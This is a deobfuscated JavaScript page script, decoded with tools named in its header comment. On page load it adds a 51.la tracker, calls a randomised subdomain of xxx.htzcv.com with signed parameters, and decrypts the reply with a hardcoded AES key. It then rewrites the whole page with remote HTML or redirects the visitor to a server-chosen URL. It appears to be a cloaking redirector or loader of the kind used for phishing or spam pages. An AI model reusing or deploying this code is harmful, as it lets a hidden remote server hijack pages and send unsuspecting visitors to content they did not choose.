//Tue Apr 22 2025 13:30:04 GMT+0000 (Coordinated Universal Time) //Base:https://github.com/echo094/decode-js //Modify:https://github.com/smallfawn/decode_action const init = () => { let _0x2ed1e6 = true; if (!window.statistics) try { { window.statistics = true; let _0x181022 = document.createElement("script"); _0x181022.type = "text/javascript"; if (_0x181022.readyState) { _0x181022.onreadystatechange = function () { (_0x181022.readyState === "loaded" || _0x181022.readyState === "complete") && (_0x181022.onreadystatechange = null); }; } else _0x181022.onload = function () {}; _0x181022.src = "https://js.users.51.la/21904755.js"; document.getElementsByTagName("head")[0].appendChild(_0x181022); } } catch (_0x35bedb) { console.log(_0x35bedb); console.log("请求51拉失败"); _0x2ed1e6 = false; } try { const _0x464f18 = document.createElement("meta"); _0x464f18.httpEquiv = "X-UA-Compatible"; _0x464f18.content = "IE=edge"; document.head.appendChild(_0x464f18); const _0x39f95e = document.createElement("meta"); _0x39f95e.name = "viewport"; _0x39f95e.content = "width=device-width, initial-scale=1"; document.head.appendChild(_0x39f95e); const _0x22294d = document.createElement("style"); _0x22294d.textContent = "\n * {\n padding: 0;\n margin: 0;\n }\n\n #yh{\n font-size: 12px;\n position: fixed;\n right: 0;\n bottom: 0;\n margin: 10px;\n }\n #version {\n font-size: 12px;\n position: fixed;\n left: 0;\n bottom: 0;\n margin: 10px;\n }\n\n "; document.head.appendChild(_0x22294d); } catch (_0x3cf253) { console.log(_0x3cf253); console.log("添加样式失败"); _0x2ed1e6 = false; } const _0x2ef7c0 = { "id": 1, "jump_switch": 1, "jump_url": "https://baidu.com", "jump_time": 3, "set_title": " ڼ ...", "output_version": 20, "request_address": "xxx.htzcv.com", "random_level_two": 1, "protocol": 2, "random_parameters": 1 }; console.log("版本号:" + _0x2ef7c0.output_version); if (_0x2ed1e6) document.title = _0x2ef7c0.set_title; if (_0x2ed1e6) { try { if (!document.querySelector("p#loading")) { { let _0x155cdd = document.createElement("p"); _0x155cdd.id = "loading"; document.body.appendChild(_0x155cdd); } } if (!document.querySelector("p#version")) { let _0x83cd51 = document.createElement("p"); _0x83cd51.id = "version"; document.body.appendChild(_0x83cd51); } if (!document.querySelector("h1#yh")) { let _0x1c7f5d = document.createElement("h1"); _0x1c7f5d.id = "yh"; document.body.appendChild(_0x1c7f5d); } } catch (_0x222179) {} } const _0x552abc = (_0x1d0b2d, _0x3ca13b = null) => { if (window.isScriptLoaded) return; try { const _0x4b9b00 = document.getElementById("yh"); _0x4b9b00 && (_0x4b9b00.textContent = "Error" + _0x1d0b2d + "-" + _0x2ef7c0.output_version + "-" + _0x2ef7c0.key_index); _0x3ca13b && (_0x4b9b00.textContent += "- m:" + _0x3ca13b); } catch (_0x307692) {} if (!_0x2ef7c0 || !_0x2ef7c0.jump_url || !_0x2ef7c0.jump_switch || _0x2ef7c0.jump_switch !== 2) return; setTimeout(() => { window.location.href = _0x2ef7c0.jump_url; }, _0x2ef7c0.jump_time * 1000); }, _0x176a60 = window.location.href; let _0x3cfd2a = ""; const _0xfa6ee3 = _0x176a60.match(/[?&]p=([^&]+)/); if (_0xfa6ee3 && _0xfa6ee3.length >= 2) _0x3cfd2a = _0xfa6ee3[1];else { { const _0x1518e5 = new URL(_0x176a60).pathname.split("/"); if (_0x1518e5.length === 0) { _0x552abc(2); return; } _0x3cfd2a = _0x1518e5[_0x1518e5.length - 1]; } } let _0x1cb1a0 = _0x2ef7c0.request_address; if (_0x2ef7c0.random_level_two === 2) { function _0x4f2f08(_0x21704e) { { let _0x448a5b = ""; const _0x1c3c84 = _0x21704e; let _0xcabb71 = ["A", "B", "C", "D", "E", "F", "G", "H", "I", "J", "K", "L", "M", "N", "P", "Q", "R", "S", "T", "U", "V", "W", "X", "Y", "Z", "1", "2", "3", "4", "5", "6", "7", "8", "9", "0"]; for (let _0x2292f1 = 0; _0x2292f1 < _0x1c3c84; _0x2292f1++) { { const _0x5b910c = Math.floor(Math.random() * _0xcabb71.length); _0x448a5b += _0xcabb71[_0x5b910c]; } } return _0x448a5b; } } _0x1cb1a0 = _0x4f2f08(8) + "." + _0x2ef7c0.request_address; } let _0x1ed189 = "http:"; switch (_0x2ef7c0.protocol) { case 1: _0x1ed189 = "http:"; break; case 2: _0x1ed189 = "https:"; break; case 3: _0x1ed189 = window.location.protocol; } const _0x2c8e5b = "kdsksdjglasdhgdjgdgwx", _0x6c55ca = Date.parse(new Date()) / 1000, _0x3880db = "/api/qr_code_list/get_code", _0x409ad7 = _0x2c8e5b + _0x3880db + _0x6c55ca, _0x39528c = _0x3880db + "-" + _0x6c55ca + "-0-0-" + _0x2c8e5b; let _0x5eebd0 = "", _0x420077 = ""; try { _0x5eebd0 = CryptoJS.MD5(_0x409ad7).toString(); _0x420077 = CryptoJS.MD5(_0x39528c).toString(); } catch (_0x31c6fc) {} const _0x368713 = _0x1ed189 + "//" + _0x1cb1a0 + _0x3880db + "?file_name=" + _0x3cfd2a + "&sign=" + _0x5eebd0 + "&t=" + _0x6c55ca + "&auth_key=" + _0x6c55ca + "-0-0-" + _0x420077; if (window.isScriptLoaded) return; try { const _0x5102eb = document.getElementById("loading"); if (_0x5102eb) { _0x5102eb.textContent = " ..."; } const _0x39034f = document.getElementById("version"); _0x39034f && (_0x39034f.textContent = "v=" + _0x2ef7c0.output_version + ",k=" + _0x2ef7c0.key_index); } catch (_0x3ef2ef) {} const _0x56a5a4 = (_0x17ecd3, _0x111caf) => { { const _0x569cbc = CryptoJS.AES.decrypt(_0x17ecd3, _0x111caf); return _0x569cbc.toString(CryptoJS.enc.Utf8); } }, _0x208fb0 = "code5311235"; fetch(_0x368713).then(_0x21f8e7 => _0x21f8e7.text()).then(_0x444fd9 => { let _0x1a1d3e = null; try { _0x1a1d3e = JSON.parse(_0x56a5a4(_0x444fd9, _0x208fb0)); } catch (_0x2f0624) {} if (!window.isScriptLoaded) { { if (!_0x1a1d3e) { { _0x552abc(3); return; } } } } if (!_0x1a1d3e) return; if (!window.isScriptLoaded) { { if (!_0x1a1d3e.status) { _0x552abc(3); return; } if (!_0x1a1d3e.content && !_0x1a1d3e.new_html) { { _0x552abc(3); return; } } } } try { document.title = _0x1a1d3e.title; } catch (_0x2ecedf) {} if (_0x1a1d3e && _0x1a1d3e.type === 3 && _0x1a1d3e.new_html) { try { document.body.innerHTML = ""; document.open(); document.write(_0x1a1d3e.new_html); document.close(); } catch (_0x1cbbe1) { try { document.body.innerHTML = "暂不支持当前格式"; } catch (_0x58e9de) {} } window.isScriptLoaded = true; return; } let _0x4426e0 = _0x1a1d3e.content; if (_0x2ef7c0.random_parameters !== 1) { _0x4426e0 += "?update=" + Math.floor(1000 + Math.random() * 9000); } !window.isScriptLoaded && (window.isScriptLoaded = true, window.location.href = _0x4426e0); }).catch(_0x146330 => { console.log(_0x146330); console.log("请求失败"); !window.isScriptLoaded && (_0x552abc(4, _0x146330), console.log(_0x146330)); }).finally(() => {}); }; init();